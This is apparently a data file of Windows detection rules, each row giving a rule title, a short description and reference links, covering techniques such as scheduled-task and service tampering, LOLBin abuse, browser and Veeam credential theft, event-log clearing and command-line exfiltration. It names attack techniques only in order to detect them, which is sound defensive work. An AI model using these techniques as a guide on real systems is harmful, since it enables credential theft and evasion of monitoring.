Suspicious Schtasks Schedule Types	Detects scheduled task creations or modification on a suspicious schedule type	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create, http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
Suspicious Schtasks Schedule Type With High Privileges	Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
Suspicious Scheduled Task Creation via Masqueraded XML File	Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence	https://learn.microsoft.com/en-us/windows/win32/taskschd/daily-trigger-example--xml-, https://github.com/elastic/protections-artifacts/blob/084067123d3328a823b1c3fdde305b694275c794/behavior/rules/persistence_suspicious_scheduled_task_creation_via_masqueraded_xml_file.toml
Suspicious Command Patterns In Scheduled Task Creation	Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands	https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/, https://twitter.com/RedDrip7/status/1506480588827467785, https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
Schtasks Creation Or Modification With SYSTEM Privileges	Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges	https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
Script Event Consumer Spawning Process	Detects a suspicious child process of Script Event Consumer (scrcons.exe).	https://redcanary.com/blog/child-processes/, https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html
Possible Privilege Escalation via Weak Service Permissions	Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://pentestlab.blog/2017/03/30/weak-service-permissions/
New Service Creation Using Sc.EXE	Detects the creation of a new service using the "sc.exe" utility.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
Service StartupType Change Via Sc.EXE	Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"	https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
New Kernel Driver Via SC.EXE	Detects creation of a new service (kernel driver) with the type "kernel"	https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
Interesting Service Enumeration Via Sc.EXE	Detects the enumeration and query of interesting and in some cases sensitive services on the system via "sc.exe". Attackers often try to enumerate the services currently running on a system in order to find different attack vectors.	https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/, https://pentestlab.blog/tag/svchost/
Allow Service Access Using Security Descriptor Tampering Via Sc.EXE	Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.	https://twitter.com/0gtweet/status/1628720819537936386, https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/, https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
Deny Service Access Using Security Descriptor Tampering Via Sc.EXE	Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.	https://www.sans.org/blog/red-team-tactics-hiding-windows-services/, https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/, https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
Service DACL Abuse To Hide Services Via Sc.EXE	Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.	https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html, https://www.sans.org/blog/red-team-tactics-hiding-windows-services/, https://twitter.com/Alh4zr3d/status/1580925761996828672, https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
Service Security Descriptor Tampering Via Sc.EXE	Detection of sc.exe utility adding a new service with special permission which hides that service.	https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html, https://www.sans.org/blog/red-team-tactics-hiding-windows-services/, https://twitter.com/Alh4zr3d/status/1580925761996828672, https://twitter.com/0gtweet/status/1628720819537936386, https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
Suspicious Service Path Modification	Detects service path modification via the "sc" binary to a suspicious command or path	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md, https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
Potential Persistence Attempt Via Existing Service Tampering	Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.	https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
Stop Windows Service Via Sc.EXE	Detects the stopping of a Windows service via the "sc.exe" utility	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742107(v=ws.11)
Potential Shim Database Persistence via Sdbinst.EXE	Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims	https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence
Uncommon Extension Shim Database Installation Via Sdbinst.EXE	Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims	https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html, https://github.com/nasbench/Misc-Research/blob/8ee690e43a379cbce8c9d61107442c36bd9be3d3/Other/Undocumented-Flags-Sdbinst.md
Sdclt Child Processes	A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.	https://github.com/OTRF/detection-hackathon-apt29/issues/6, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
Sdiagnhost Calling Suspicious Child Process	Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)	https://twitter.com/nao_sec/status/1530196847679401984, https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/, https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/, https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/
Potential Suspicious Activity Using SeCEdit	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy	https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit
Suspicious Serv-U Process Pattern	Detects a suspicious process pattern which could be a sign of an exploited Serv-U service	https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/
Uncommon Child Process Of Setres.EXE	Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path.	https://lolbas-project.github.io/lolbas/Binaries/Setres/, https://twitter.com/0gtweet/status/1583356502340870144, https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
Potential SPN Enumeration Via Setspn.EXE	Detects service principal name (SPN) enumeration used for Kerberoasting	https://web.archive.org/web/20200329173843/https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation, https://www.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation/?edition=2019
Setup16.EXE Execution With Custom .Lst File	Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.	https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/
Suspicious Execution of Shutdown	Use of the commandline to shutdown or reboot windows	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
Suspicious Execution of Shutdown to Log Out	Detects the rare use of the command line tool shutdown to logoff a user	https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
Uncommon Sigverif.EXE Child Process	Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.	https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/, https://twitter.com/0gtweet/status/1457676633809330184
Uncommon Child Processes Of SndVol.exe	Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)	https://twitter.com/Max_Mal_/status/1661322732456353792
Audio Capture via SoundRecorder	Detect attacker collecting audio via SoundRecorder application.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md, https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html
Suspicious Splwow64 Without Params	Detects suspicious Splwow64.exe process without any command line parameters	https://twitter.com/sbousseaden/status/1429401053229891590?s=12
Suspicious Spool Service Child Process	Detects suspicious print spool service (spoolsv.exe) child processes.	https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md
Veeam Backup Database Suspicious Query	Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.	https://labs.withsecure.com/publications/fin7-target-veeam-servers
VeeamBackup Database Credentials Dump Via Sqlcmd.EXE	Detects dump of credentials in VeeamBackup dbo	https://thedfirreport.com/2021/12/13/diavol-ransomware/, https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html
SQLite Chromium Profile Data DB Access	Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.	https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows, https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/
SQLite Firefox Profile Data DB Access	Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows, https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/
Arbitrary File Download Via Squirrel.EXE	Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/, http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/, http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
Process Proxy Execution Via Squirrel.EXE	Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/, http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/, http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
Port Forwarding Activity Via SSH.EXE	Detects port forwarding activity via SSH.exe	https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Program Executed Using Proxy/Local Command Via SSH.EXE	Detect usage of the "ssh.exe" binary as a proxy to launch other programs.	https://lolbas-project.github.io/lolbas/Binaries/Ssh/, https://github.com/LOLBAS-Project/LOLBAS/pull/211/files, https://gtfobins.github.io/gtfobins/ssh/, https://man.openbsd.org/ssh_config#ProxyCommand, https://man.openbsd.org/ssh_config#LocalCommand
Potential RDP Tunneling Via SSH	Execution of ssh.exe to perform data exfiltration and tunneling through RDP	https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Potential Amazon SSM Agent Hijacking	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.	https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan, https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/, https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/
Execution via stordiag.exe	Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe	https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html, https://twitter.com/eral4m/status/1451112385041911809
Start of NT Virtual DOS Machine	Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications	https://learn.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support, https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7, https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/, https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/
Abused Debug Privilege by Arbitrary Parent Processes	Detection of unusual child processes by different system processes	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg
User Added to Local Administrators Group	Detects addition of users to the local administrator group via "Net" or "Add-LocalGroupMember".	https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
User Added To Highly Privileged Group	Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".	https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
User Added to Remote Desktop Users Group	Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember".	https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/
Execute From Alternate Data Streams	Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
Always Install Elevated Windows Installer	Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg
Potentially Suspicious Windows App Activity	Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue ".appx" package installation/execution	https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
Arbitrary Shell Command Execution Via Settingcontent-Ms	The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.	https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Phishing Pattern ISO in Archive	Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)	https://twitter.com/1ZRR4H/status/1534259727059787783, https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/
Automated Collection Command Prompt	Once established within a system or network, an adversary may use automated techniques for collecting internal data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
Bad Opsec Defaults Sacrificial Processes With Improper Arguments	Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.	https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/, https://www.cobaltstrike.com/help-opsec, https://twitter.com/CyberRaiju/status/1251492025678983169, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32, https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool, https://learn.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
Potential Suspicious Browser Launch From Document Reader Process	Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.	https://app.any.run/tasks/69c5abaa-92ad-45ba-8c53-c11e23e05d04/, https://app.any.run/tasks/64043a79-165f-4052-bcba-e6e49f847ec1/
Potential Browser Data Stealing	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md
Suspicious Child Process Created as System	Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/, https://github.com/antonioCoco/RogueWinRM, https://twitter.com/Cyb3rWard0g/status/1453123054243024897
Potential Commandline Obfuscation Using Escape Characters	Detects potential commandline obfuscation using known escape characters	https://twitter.com/vysecurity/status/885545634958385153, https://twitter.com/Hexacorn/status/885553465417756673, https://twitter.com/Hexacorn/status/885570278637678592, https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques, https://web.archive.org/web/20190213114956/http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/
Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image	Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.	https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http
Potential Command Line Path Traversal Evasion Attempt	Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline	https://twitter.com/hexacorn/status/1448037865435320323, https://twitter.com/Gal_B1t/status/1062971006078345217
Suspicious Copy From or To System Directory	Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.	https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120, https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html, https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
Copy From Or To Admin Share Or Sysvol Folder	Detects a copy command or a copy utility execution to or from an Admin share or remote	https://twitter.com/SBousseaden/status/1211636381086339073, https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view, https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html, https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
Potential Crypto Mining Activity	Detects command line parameters or strings often used by crypto miners	https://www.poolwatch.io/coin/monero
LOL-Binary Copied From System Directory	Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.	https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120, https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html, https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
Potential Data Exfiltration Activity Via CommandLine Tools	Detects the use of various CLI utilities exfiltrating data via web requests	https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
Raccine Uninstall	Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.	https://github.com/Neo23x0/Raccine
Suspicious Double Extension File Execution	Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns	https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html, https://twitter.com/blackorbird/status/1140519090961825792
Suspicious Parent Double Extension File Execution	Detect execution of suspicious double extension files in ParentCommandLine	https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa
Suspicious Download from Office Domain	Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents	https://twitter.com/an0n_r0/status/1474698356635193346?s=12, https://twitter.com/mrd0x/status/1475085452784844803?s=12
DumpStack.log Defender Evasion	Detects the use of the filename DumpStack.log to evade Microsoft Defender	https://twitter.com/mrd0x/status/1479094189048713219
Always Install Elevated MSI Spawned Cmd And Powershell	Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg
Suspicious Electron Application Child Processes	Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)	https://taggart-tech.com/quasar-electron/, https://github.com/mttaggart/quasar, https://positive.security/blog/ms-officecmd-rce, https://lolbas-project.github.io/lolbas/Binaries/Msedge/, https://lolbas-project.github.io/lolbas/Binaries/Teams/, https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/, https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf
Potentially Suspicious Electron Application CommandLine	Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.	https://positive.security/blog/ms-officecmd-rce, https://lolbas-project.github.io/lolbas/Binaries/Teams/, https://lolbas-project.github.io/lolbas/Binaries/Msedge/, https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/, https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf, https://chromium.googlesource.com/chromium/chromium/+/master/content/public/common/content_switches.cc
Elevated System Shell Spawned From Uncommon Parent Location	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.	https://github.com/Wh04m1001/SysmonEoP
Hidden Powershell in Link File Pattern	Detects events that appear when a user click on a link file with a powershell command in it	https://www.x86matthew.com/view_post?id=embed_exe_lnk
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.	Internal Research
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.	Internal Research
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.	Internal Research
ETW Logging Tamper In .NET Processes Via CommandLine	Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.	https://twitter.com/_xpn_/status/1268712093928378368, https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr, https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables, https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38, https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39, https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_, https://bunnyinside.com/?term=f71e8cb9c76a, http://managed670.rssing.com/chan-5590147/all_p1.html, https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code, https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.	Internal Research
ETW Trace Evasion Activity	Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil, https://abuse.io/lockergoga.txt, https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
Suspicious Eventlog Clearing or Configuration Change Activity	Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md, https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil, https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee, https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities	Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a, https://www.group-ib.com/blog/apt41-world-tour-2021/, https://labs.withsecure.com/content/dam/labs/docs/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1, http://www.solomonson.com/posts/2010-07-09-reading-eventviewer-command-line/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil
Potentially Suspicious Execution From Parent Process In Public Folder	Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.	https://redcanary.com/blog/blackbyte-ransomware/
Process Execution From A Potentially Suspicious Folder	Detects a potentially suspicious execution from an uncommon folder.	https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt, https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses, https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/, https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md
Suspicious File Characteristics Due to Missing Fields	Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe	https://securelist.com/muddywater/88059/, https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection
Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine	https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs, https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
